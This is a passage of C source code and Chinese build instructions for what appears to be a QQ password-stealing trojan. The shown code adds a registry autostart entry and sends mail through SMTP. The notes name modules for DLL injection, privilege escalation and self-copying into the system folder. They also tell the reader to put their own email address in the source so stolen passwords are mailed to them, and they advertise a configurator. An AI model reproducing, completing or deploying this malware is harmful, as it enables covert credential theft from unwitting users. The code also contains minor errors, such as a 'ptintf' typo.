//Create date: 2003.10.6
//Last modify date: 2003.10.7
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "mylib.h"
#include <windows.h>
//---------------------------------------------------------------------
//加入注册表自启动项
void RegStart(const char *KeyName, const char *KeyValue)
{
HKEY phkResult;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,
NULL,
&phkResult,
NULL);
RegSetValueEx(phkResult,
KeyName,
0,
REG_SZ,
(unsigned char *)KeyValue,
lstrlen(KeyValue) + 1);
RegCloseKey(phkResult);
}
//---------------------------------------------------------------------
/*---------------------------------------------------------------------
//SendMail.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include <stdio.h>
#endif
#include "GQPSvr.h"
#include <winsock2.h>
#include <windows.h>
//---------------------------------------------------------------------
void Base64(unsigned char chasc[3],unsigned char chuue[4]);
int Talk(SOCKET sockid, const char *OkCode, char *pSend);
//---------------------------------------------------------------------
int SendMail(const SMTPINFO *psmtpinfo)
{
//准备网络连接
WSADATA wsadata;
if (WSAStartup(MAKEWORD(2,2),&wsadata) != 0)
{
#ifdef _DEBUG
printf("WSAStartup() error : %d\n", GetLastError());
#endif
return 1;
}
//创建套接字
SOCKET sockid;
if ((sockid = socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET)
{
#ifdef _DEBUG
printf("socket() error : %d\n", GetLastError());
#endif
WSACleanup();
return 1;
}
//得到smtp服务器ip
struct hostent *phostent = gethostbyname(psmtpinfo->SmtpSrvName);
struct sockaddr_in addr;
CopyMemory(&addr.sin_addr.S_un.S_addr,
phostent->h_addr_list[0],
sizeof(addr.sin_addr.S_un.S_addr));
#ifdef _DEBUG
struct in_addr srvaddr;
CopyMemory(&srvaddr, &addr.sin_addr.S_un.S_addr, sizeof(struct in_addr));
printf("Smtp server name is %s\n", psmtpinfo->SmtpSrvName);
printf("Smtp server ip is %s\n", inet_ntoa(srvaddr));
#endif
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(psmtpinfo->Port));
ZeroMemory(&addr.sin_zero, 8);
//连接服务器
if (connect(sockid, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR)
{
#ifdef _DEBUG
printf("connect() error : %d\n", GetLastError());
#endif
goto STOP;
}
if (Talk(sockid, "220", "AUTH LOGIN"))
{
goto STOP;
}
//将用户名和密码转换为base64编码
const int buflen = 128;
char buf[buflen];
int i,userlen,passlen;
ZeroMemory(buf, buflen);
userlen = lstrlen(psmtpinfo->UserName);
passlen = lstrlen(psmtpinfo->Password);
for(i = 0; i < (userlen%3?userlen/3+1:userlen/3); i++)
{
Base64(psmtpinfo->UserName + i * 3, buf + i * 4);
}
if (Talk(sockid, "334", buf))
{
goto STOP;
}
ZeroMemory(buf, buflen);
for(i = 0; i < (passlen%3?passlen/3+1:passlen/3); i++)
{
Base64(psmtpinfo->Password + i * 3, buf + i * 4);
}
if (Talk(sockid, "334", buf))
{
goto STOP;
}
if (Talk(sockid, "235", "HELO sjdf"))
{
goto STOP;
}
ZeroMemory(buf, buflen);
wsprintf(buf, "MAIL FROM:%s", psmtpinfo->From);
if (Talk(sockid, "250", buf))
{
goto STOP;
}
ZeroMemory(buf, buflen);
wsprintf(buf, "RCPT TO:%s", psmtpinfo->To);
if (Talk(sockid, "250", buf))
{
goto STOP;
}
if (Talk(sockid, "250", "DATA"))
{
goto STOP;
}
ZeroMemory(buf, buflen);
wsprintf(buf, "TO:%s\r\nFROM:%s\r\nSUBJECT:%s\r\n%s\r\n\r\n.",
psmtpinfo->To,psmtpinfo->From,psmtpinfo->Subject,psmtpinfo->msg);
if (Talk(sockid, "354", buf))
{
goto STOP;
}
if (Talk(sockid, "250", "QUIT"))
{
goto STOP;
}
if (Talk(sockid, "221", ""))
{
goto STOP;
}
else
{
closesocket(sockid);
WSACleanup();
return 0;
}
STOP:
closesocket(sockid);
WSACleanup();
return 1;
}
//---------------------------------------------------------------------
int Talk(SOCKET sockid, const char *OkCode, char *pSend)
{
const int buflen = 128;
char buf[buflen];
ZeroMemory(buf, buflen);
//接收返回信息
if (recv(sockid, buf, buflen, 0) == SOCKET_ERROR)
{
#ifdef _DEBUG
printf("recv() error : %d\n", GetLastError());
#endif
return 1;
}
#ifdef _DEBUG
printf(buf);
#endif
if (strstr(buf, OkCode) == NULL)
{
#ifdef _DEBUG
printf("Error: recv code != %s\n", OkCode);
#endif
return 1;
}
//发送命令
if (lstrlen(pSend))
{
ZeroMemory(buf, buflen);
wsprintf(buf, "%s\r\n", pSend);
#ifdef _DEBUG
printf(buf);
#endif
if (send(sockid, buf, lstrlen(buf), 0) == SOCKET_ERROR)
{
#ifdef _DEBUG
ptintf("send() error : %d\n", GetLastError());
#endif
return 1;
}
}
return 0;
}
//---------------------------------------------------------------------
//Base64编码,chasc:未编码的二进制代码,chuue:编码过的Base64代码
void Base64(unsigned char chasc[3],unsigned char chuue[4])
{
int i,k=2;
unsigned char t = 0;
for(i=0;i<3;i++)
{
*(chuue+i)=*(chasc+i)>>k;
*(chuue+i)|=t;
t=*(chasc+i)<<(8-k);
t>>=2;
k+=2;
}
*(chuue+3)=*(chasc+2)&63;
for(i=0;i<4;i++)
if((*(chuue+i)>=0)&&(*(chuue+i)<=25)) *(chuue+i)+=65;
else if((*(chuue+i)>=26)&&(*(chuue+i)<=51)) *(chuue+i)+=71;
else if((*(chuue+i)>=52)&&(*(chuue+i)<=61)) *(chuue+i)-=4;
else if(*(chuue+i)==62) *(chuue+i)=43;
else if(*(chuue+i)==63) *(chuue+i)=47;
}
编译:
首先把你的邮箱信息在GetQQPass.c那个文件里面改成自己的。
然后用lcc编译器,其实一起编译也是可以的,这样分开只是看着清楚些。
lc -c -O GQPSvr.c
lc -c -O getqqpass.c
lc -c -O getosver.c
lc -c -O injectdll.c
lc -c -O CopySelfToSys.c
lc -c -O RegStart.c
lc -c -O AddPrivilege.c
lc -c -O GetStyleWindow.c
lc -c -O sendmail.c
lc -c -O processtopid.c
lc -c -O NT_GQP_DLL.c
lc -c -O NT_Plus_Dll.c
然后把两个dll连接了:
lcclnk -s -dll -entry DllMain NT_GQP_DLL.obj sendmail.obj GetStyleWindow.obj GetQQPass.obj ws2_32.lib
lcclnk -s -dll -entry DllMain NT_Plus_Dll.obj injectdll.obj Processtopid.obj AddPrivilege.obj
这样会生成两个dll:NT_GQP_DLL.dll和nt_plus_dll.dll,再用bin2txt工具这个程序把这两个dll文件转换成数据文件,分别叫做GQP_Data.h和Plus_Data.h,把里面的数据放在三个大数组里GQP_Dll_Data1,GQP_Dll_Data2和GQP_Dll_Data3还有Plus_DLL_Data1,Plus_DLL_Data2,Plus_DLL_Data3。(用三个是因为lcc编译器不支持太多的行,如果用vc编译,直接放在一个数组里就行了。)
这样主程序就可以编译通过了。
lcclnk -s -subsystem windows GQPSvr.obj RegStart.obj copyselftosys.obj getosver.obj injectdll.obj AddPrivilege.obj GetStyleWindow.obj sendmail.obj processtopid.obj getqqpass.obj ws2_32.lib
为方便大家测试,我已经写了一个配置器,并且上面的源代码也可以在我的主页下载:http://mjjify.yeah.net/
email:sjdf1@163.com
qq: 56572639